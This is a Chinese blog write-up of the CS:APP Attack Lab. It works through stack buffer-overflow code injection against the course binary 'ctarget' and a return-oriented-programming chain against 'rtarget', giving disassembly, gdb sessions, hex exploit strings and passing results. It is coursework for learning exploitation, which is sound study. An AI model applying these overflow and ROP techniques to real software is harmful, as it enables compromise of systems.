圖文並茂-超詳解 CS:APP: Lab3-Attack(附帶棧幀分析)

周小倫發表於2021-02-02

CS:APP:Lab3-ATTACK

0. 環境要求

關於環境已經在lab1裡配置過了。lab1的連線如下

實驗的下載地址如下

說明文件如下 http://csapp.cs.cmu.edu/3e/attacklab.pdf

這是實驗的分數和一些簡介下面就開始我們的實驗吧

1. Part I: Code Injection Attacks

1.1 Level 1

對於第一個我們不需要注入新的程式碼。只需要重定向我們的程式就可

1 void test()
2 {
3 int val;
4 val = getbuf();
5 printf("No exploit. Getbuf returned 0x%x\n", val);
6 }

這是初試的test程式我們執行程式之後。輸入字串就會執行printf 這裡注意我們執行要./ctarget -q因為我們沒有辦法連線到cmu的遠端判定程式。下面是我們亂輸的測試

[root@cadc591c8a87 attack]# ./ctarget -q
Cookie: 0x59b997fa
Type string:baba
No exploit.  Getbuf returned 0x1

而本實驗的要求是要我們改變上面的行為。當我們輸入完字串之後執行下面的touch1而不是上面的printf

1 void touch1()
2 {
3 vlevel = 1; /* Part of validation protocol */
4 printf("Touch1!: You called touch1()\n");
5 validate(1);
6 exit(0);
7 }

本題就是利用一個基本的緩衝區溢位把getbuf的返回地址設定成touch1的地址。cmu的官網給了我們一些小建議

  • 利用objdump -d ./ctarget>>ctarget.s得到彙編程式碼
  • 思路是將touch1的開始地址,放在某個位置,以實現當ret指令被getbuf執行後會將控制權轉移給touch1
  • 一定要注意位元組序
  • 你可以使用gdb設定斷點來進行除錯。並且gcc會影響棧幀中buf存放的位置。需要注意

這裡再附上gdb的常用操作命令

1.分析test彙編程式碼

0000000000401968 <test>:
  401968:	48 83 ec 08          	sub    $0x8,%rsp
  40196c:	b8 00 00 00 00       	mov    $0x0,%eax
  401971:	e8 32 fe ff ff       	callq  4017a8 <getbuf>
  401976:	89 c2                	mov    %eax,%edx
  401978:	be 88 31 40 00       	mov    $0x403188,%esi
  40197d:	bf 01 00 00 00       	mov    $0x1,%edi
  401982:	b8 00 00 00 00       	mov    $0x0,%eax
  401987:	e8 64 f4 ff ff       	callq  400df0 <__printf_chk@plt>
  40198c:	48 83 c4 08          	add    $0x8,%rsp
  401990:	c3                   	retq 

這裡首先分配棧幀然後呼叫getbuf 隨後把返回值賦給了edx ox403188賦給esi 可以相當這個應該是printf的字元check一下

(gdb) p (char*)0x403188
$1 = 0x403188 "No exploit.  Getbuf returned 0x%x\n"

發現果然是這樣。

2. 分析一下getbuf

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   

可以發現getbuf分配了大小為40位元組的緩衝區然後把呼叫gets把讀入的字串放到緩衝區中。

可以發現我們只要把getbuf的返回地址設定成touch1的地址=0x4017c0就可。這裡getbuf的緩衝區為40位元組。我們可以前40個位元組亂輸。只需要後面的值為4017c0即可。我們構造一個txt檔案用來輸入touch1.txt

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00 

這裡注意一下次序。我們把這個輸入之後getbuf的緩衝區會變成下圖這樣

來試試我們的這個輸入吧./hex2raw < touch1.txt | ./ctarget -q

[root@cadc591c8a87 attack]# ./hex2raw < touch1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:1:00 66 11 22 66 66 66 66 66 66 66 66 22 66 33 66 33 66 66 66 00 66 11 66 44 22 11 22 66 66 66 33 66 66 55 66 66 66 66 66 C0 17 40 00 00 00 00 00 00 00 
[root@cadc591c8a87 attack]# 

1.2 Level2

phase2需要我們注入一小段程式碼。來完成字串漏洞攻擊

touch2的程式碼如下

 void touch2(unsigned val)
 {
     vlevel = 2; /* Part of validation protocol */
     if (val == cookie) {
     		printf("Touch2!: You called touch2(0x%.8x)\n", val);
    		validate(2);
     } else {
          printf("Misfire: You called touch2(0x%.8x)\n", val);
          fail(2);
    }
   exit(0);
 }

本題的任務就是要我們在getbuf之後直接ret到touch2裡面而不是繼續執行test大概任務和第一個一樣。只不過方法不太一樣。cmu的官方文件又給了我們一些建議

  • touch2的引數val是利用rdi暫存器進行傳遞的
  • 你要利用某種方式讓getbuf的返回地址為touch2的地址
  • 你的注入程式碼的傳入引數應該等於cookie的值。
  • 不要在注入程式碼內呼叫ret或者call
  • 請參見附錄B中有關如何使用工具生成位元組級表示形式的指令序列的討論。

附錄B就在說明文件的最下方。在附上一個說明文件的地址

1.分析touch2

這裡getbuf分配的棧幀和上面的一樣。就不在畫出了(主要是畫的太醜了)

00000000004017ec <touch2>:
  4017ec:	48 83 ec 08          	sub    $0x8,%rsp 
  4017f0:	89 fa                	mov    %edi,%edx
  4017f2:	c7 05 e0 2c 20 00 02 	movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
  4017f9:	00 00 00 
  4017fc:	3b 3d e2 2c 20 00    	cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>
  401802:	75 20                	jne    401824 <touch2+0x38>
  401804:	be e8 30 40 00       	mov    $0x4030e8,%esi
  401809:	bf 01 00 00 00       	mov    $0x1,%edi
  40180e:	b8 00 00 00 00       	mov    $0x0,%eax
  401813:	e8 d8 f5 ff ff       	callq  400df0 <__printf_chk@plt>
  401818:	bf 02 00 00 00       	mov    $0x2,%edi
  40181d:	e8 6b 04 00 00       	callq  401c8d <validate>
  401822:	eb 1e                	jmp    401842 <touch2+0x56>
  401824:	be 10 31 40 00       	mov    $0x403110,%esi
  401829:	bf 01 00 00 00       	mov    $0x1,%edi
  40182e:	b8 00 00 00 00       	mov    $0x0,%eax
  401833:	e8 b8 f5 ff ff       	callq  400df0 <__printf_chk@plt>
  401838:	bf 02 00 00 00       	mov    $0x2,%edi
  40183d:	e8 0d 05 00 00       	callq  401d4f <fail>
  401842:	bf 00 00 00 00       	mov    $0x0,%edi
  401847:	e8 f4 f5 ff ff       	callq  400e40 <exit@plt>

其實touch2的邏輯非常簡單。就是比較我們傳入的引數val是否等於cookie的值。如果等於就可以通過。所以本題的關鍵就是在改變返回地址前也設定rdi暫存器的值。因此我們可以很容易的想到我們要插入的彙編程式碼是什麼

movq    $0x59b997fa, %rdi
pushq   0x4017ec
ret

再利用下面的操作檢視他的位元組序表示

gcc -c l2.s
objdump -d l2.o
0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	ff 34 25 ec 17 40 00 	pushq  0x4017ec
   e:	c3                   	retq   

下面的問題就變成了我們如何執行這段程式碼。聯想第一個題我們應該利用緩衝區溢位的方法。

我們繼續看一下getbuf的彙編程式碼

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop

這裡把%rsp賦給了rdi然後呼叫了gets 我們需要check一下rsp在這裡打一個端點

(gdb) b *0x4017ac
Breakpoint 1 at 0x4017ac: file buf.c, line 14.
(gdb) r -q
Starting program: /csapp/attack/ctarget -q
warning: Error disabling address space randomization: Operation not permitted
Missing separate debuginfos, use: yum debuginfo-install glibc-2.28-127.el8.x86_64
Cookie: 0x59b997fa
(gdb) info r rsp
rsp            0x5561dc78          0x5561dc78

我們發現rsp的地址為0x5561dc78 是不是有點想法可以開始寫了。

我們可以讓執行完getbuf之後回到rsp的這裡。然後把我們要執行的三行彙編程式碼執行。就可以成功執行touch2了。這樣我們的輸入流就如下圖。

48 c7 c7 fa 97 b9 59 68 <-讀入我們要執行的彙編語句
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 <-返回地址為rsp 

來試試能不能通過。發現可以正常通過

[root@cadc591c8a87 attack]# ./hex2raw < touch2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 

下面畫一個我們這樣的輸入之後的棧幀幫助大家理解

這裡轉ASCLL太難了就不轉了

getbuf的返回地址 00 00 00 00 55 61 dc 78
rsp+20 00 00 00 00 00 00 00 00
rsp+18 00 00 00 00 00 00 00 00
rsp+10 00 00 00 00 00 00 00 00
rsp+8 00 00 00 c3 00 40 17 ec
rsp 68 59 b9 97 fa c7 c7 48

這裡rsp的地址就為0x5561dc78 所以我們返回地址是會返回到rsp這裡然後執行我們的三條彙編程式碼

movq    $0x59b997fa, %rdi
pushq   0x4017ec
ret

1.3 Level3

level3也是要進行程式碼注入。但是這裡要注入一個string。

hexmatchtouch3的程式碼如下。程式碼分析直接寫到註釋裡面了

/* Compare string to hex represention of unsigned value */
 int hexmatch(unsigned val, char *sval)
{
     char cbuf[110];
     /* Make position of check string unpredictable */
     char *s = cbuf + random() % 100;
     sprintf(s, "%.8x", val); //s=val=cookie
     return strncmp(sval, s, 9) == 0; //比較cookie和第二個引數的前9位是否相同
   // cookie只有8位元組。這裡為9的原因是我們要比較最後一個是否為'\0'
 }
void touch3(char *sval)
 {
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) { //相同則成功
         printf("Touch3!: You called touch3(\"%s\")\n", sval);
         validate(3);
    } else {
         printf("Misfire: You called touch3(\"%s\")\n", sval);
         fail(3);
     }
    exit(0);
 }

任務: 你的任務getbuf之後執行touch3而不是繼續執行test。你必須要傳遞cookie字串作為引數

一些小建議

  • 你需要在利用緩衝區溢位的字串中包含cookie的字串表示形式。該字串應該有8個十六進位制陣列成。注意沒有前導0x
  • 注意在c語言中的字串表示會在末尾處加一個\0
  • 您注入的程式碼應將暫存器%rdi設定為此字串的地址
  • 呼叫函式hexmatch和strncmp時,它們會將資料壓入堆疊,從而覆蓋存放getbuf使用的緩衝區的記憶體部分。 因此,您需要注意在哪裡放置您的Cookie字串

1.簡單分析touch3

00000000004018fa <touch3>:
  4018fa:	53                   	push   %rbx
  4018fb:	48 89 fb             	mov    %rdi,%rbx
  4018fe:	c7 05 d4 2b 20 00 03 	movl   $0x3,0x202bd4(%rip)        # 6044dc <vlevel>
  401905:	00 00 00 
  401908:	48 89 fe             	mov    %rdi,%rsi
  40190b:	8b 3d d3 2b 20 00    	mov    0x202bd3(%rip),%edi        # 6044e4 <cookie>
  401911:	e8 36 ff ff ff       	callq  40184c <hexmatch>
  401916:	85 c0                	test   %eax,%eax

邏輯非常簡單首先把rdi的值傳遞給rsi然後把cookie的值傳遞給rdi呼叫hexmatch函式。這裡rsi的值應該就是我們的字串陣列的起始地址。

這裡我們注意hexmatch函式裡也開闢了棧幀。並且還有隨機棧偏移動。可以說字串s的地址我們是沒法估計 的。並且提示中告訴了我們hexmatchstrncmp函式可能會覆蓋我們getbuf的緩衝區。所以我們的注入程式碼要放在一個安全的位置。我們可以把它放到text的棧幀中。我們在getbuf分配棧幀之前打一個斷點。

b *0x4017a8

(gdb) b *0x4017a8
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) r -q
Starting program: /csapp/attack/ctarget -q
warning: Error disabling address space randomization: Operation not permitted
Missing separate debuginfos, use: yum debuginfo-install glibc-2.28-127.el8.x86_64
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
12	buf.c: No such file or directory.
(gdb) info r rsp
rsp            0x5561dca0          0x5561dca0

可以發現我們textrsp地址現在為0x5561dca0 可以發現這裡面儲存了本來getbuf的返回地址也就下一條指令

(gdb) x 0x5561dca0
0x5561dca0:	0x00401976
//正常的getbuf會返回到如下
0x401976:	89 c2                	mov    %eax,%edx

這裡分析一下getbuf剛分配完之後的棧幀。這裡需要停下來整理一下

0x5561dca8
0x5561dca0 getbuf的返回地址(text的棧幀) 00 00 00 00 00 40 19 76
rsp+20(getbuf的棧幀) 00 00 00 00 00 00 00 00
rsp+18(getbuf的棧幀) 00 00 00 00 00 00 00 00
rsp+10(getbuf的棧幀) 00 00 00 00 00 00 00 00
rsp+8(getbuf的棧幀) 00 00 00 00 00 00 00 00
rsp(getbuf的棧幀) 00 00 00 00 00 00 00 00

由於我們在呼叫touch3的時候只需要傳遞給他一個字串陣列的起始地址這裡我們可以利用緩衝區溢位把cookie的字串輸入到0x5561dca8 然後在利用緩衝區溢位把getbuf的返回地址設定成rsp的地址。利用level2的技巧執行我們的彙編指令。

movq $0x5561dca8 %rdi
pushq  0x4018fa
retq

看一下這段彙編程式碼的位元組表示

[root@cadc591c8a87 attack]# gcc -c l3.s
l3.s: Assembler messages:
l3.s: Warning: end of file not at end of a line; newline inserted
[root@cadc591c8a87 attack]# objdump -d l3.o
l3.o:     file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
   0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi
   7:	68 fa 18 40 00 	pushq  0x4018fa
   e:	c3                   	retq   

好現在開始構造我們的輸入。這裡先看一下cookieascll表示35 39 62 39 39 37 66 61好了下面開始我們的輸入構造

48 c7 c7 a8 dc 61 55 68 <-讀入我們要執行的彙編語句
fa 18 40 00 c3 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 
35 39 62 39 39 37 66 61 <-返回地址為rsp 

來試試能不能通過。發現可以正常通過

[root@cadc591c8a87 attack]# ./hex2raw < touch3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 

下面還是通過一個棧幀來分析一下發生了什麼。

0x5561dca8 (儲存了字串陣列) 61 66 37 39 39 62 39 35
0x5561dca0 getbuf的返回地址(text的棧幀) 00 00 00 00 55 61 dc 78
rsp+20(getbuf的棧幀) 00 00 00 00 00 00 00 00
rsp+18(getbuf的棧幀) 00 00 00 00 00 00 00 00
rsp+10(getbuf的棧幀) 00 00 00 00 00 00 00 00
rsp+8(getbuf的棧幀) 00 00 00 c3 00 40 18 fa
rsp(getbuf的棧幀) 68 55 61 dc a8 c7 c7 48

2. Part II: Return-Oriented Programming

介紹

關於第二部分有一大段介紹。在上面點實驗說明文件裡就有。這裡對它簡單解釋一下

對程式RTARGET進行程式碼注入攻擊比對CTARGET進行難度要大得多,因為它使用兩種技術來阻止此類攻擊:

  1. 隨機棧偏移。這讓我們很難找到程式的地址
  2. 標記為不可執行區域。這使得我們的攻擊程式碼無法被執行。

具體解釋可以看下面的截圖(截圖來自於hit的csapp第三章ppt

在這樣的限制下,我們不能使用程式碼注入的方式來進行攻擊了,Write up中介紹了ROP這種方式,大致的思想就是我們把棧中放上很多地址,而每次ret都會到一個Gadget(小的程式碼片段,並且會ret),這樣就可以形成一個程式鏈。通過將程式自身(./rtarget)的指令來完成我們的目的。

2.1 level2

對於第4階段,您將重複第2階段的攻擊,但使用來自您的小工具的程式RTARGET進行此攻擊。 您可以使用由以下指令型別組成的小工具(gadgets)來構造解決方案,並且僅使用前八個x86-64暫存器(%rax–%rdi)。

movq : The codes for these are shown in Figure 3A.
popq : The codes for these are shown in Figure 3B.
ret : This instruction is encoded by the single byte 0xc3.
nop : This instruction (pronounced “no op,” which is short for “no operation”) is encoded by the single
byte 0x90. Its only effect is to cause the program counter to be incremented by 1.

一些建議

  1. 所有你需要的gadgets你都可以 found in the region of the code for rtarget demarcated by the functions start_farm and mid_farm.

    所以這裡我們把rtaget反彙編

    objdump -d rtarget >r.txt

  2. 你只可以用兩個gadgets

  3. 當一個小gadgets使用pop指令。你的exploit string中必須含有一個地址和data

同時本題給了一些對於彙編程式碼的encoding例子

這裡在放一下任務2的程式碼。我們只需要讓傳入的第一個引數R[%rdi]=cookie就ok了

 void touch2(unsigned val)
 {
     vlevel = 2; /* Part of validation protocol */
     if (val == cookie) {
     		printf("Touch2!: You called touch2(0x%.8x)\n", val);
    		validate(2);
     } else {
          printf("Misfire: You called touch2(0x%.8x)\n", val);
          fail(2);
    }
   exit(0);
 }

通過上面的圖我們可以知道

popq 5f //就是可以popq rdi 

rtarget裡面我們發現這樣的程式碼果然出現了

  402b18:	41 5f                	pop    %r15
  402b1a:	c3                   	retq   

所以我們就可以構建我們的答案了。只要讓pop的值等於cookie的值。然後在ret之前把地址改成touch2的地址。

@le2.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
19 2b 40 00 00 00 00 00 #pop %rdi
fa 97 b9 59 00 00 00 00 #cookie
ec 17 40 00 00 00 00 00 #touch2

我們測試一下我們的結果./hex2raw < le2.txt | ./rtarget -q

[root@cadc591c8a87 attack]# ./hex2raw < le2.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 2B 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 EC 17 40 00 00 00 00 00 

2.2 Level3

這個是整個實驗的第五關。官網上說你到這裡已經獲得了95分了。如果你不想繼續的話就可以停止了。咳咳咳本著求知的目的我們還是把這個實驗完成吧。看起來第五關難度應該很大

階段5要求您對RTARGET進行ROP攻擊,以使用指向cookie字串的指標來呼叫函式touch3

touch3的程式碼如下

/* Compare string to hex represention of unsigned value */
 int hexmatch(unsigned val, char *sval)
{
     char cbuf[110];
     /* Make position of check string unpredictable */
     char *s = cbuf + random() % 100;
     sprintf(s, "%.8x", val); //s=val=cookie
     return strncmp(sval, s, 9) == 0; //比較cookie和第二個引數的前9位是否相同
   // cookie只有8位元組。這裡為9的原因是我們要比較最後一個是否為'\0'
 }
void touch3(char *sval)
 {
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) { //相同則成功
         printf("Touch3!: You called touch3(\"%s\")\n", sval);
         validate(3);
    } else {
         printf("Misfire: You called touch3(\"%s\")\n", sval);
         fail(3);
     }
    exit(0);
 }

行了最後一點我做不出來了。網上有非常多的參考。這裡就不寫了。。。(真菜啊我)

Summary

除了最後一個實驗。其他的只要好好讀書,認真理解應該都能夠做出來的。最後一個主要是中間隔了太久了。沒有想做的慾望了。直接去網上查了別人的這裡就不做複製工作了。第四個實驗一定會認真做的

相關文章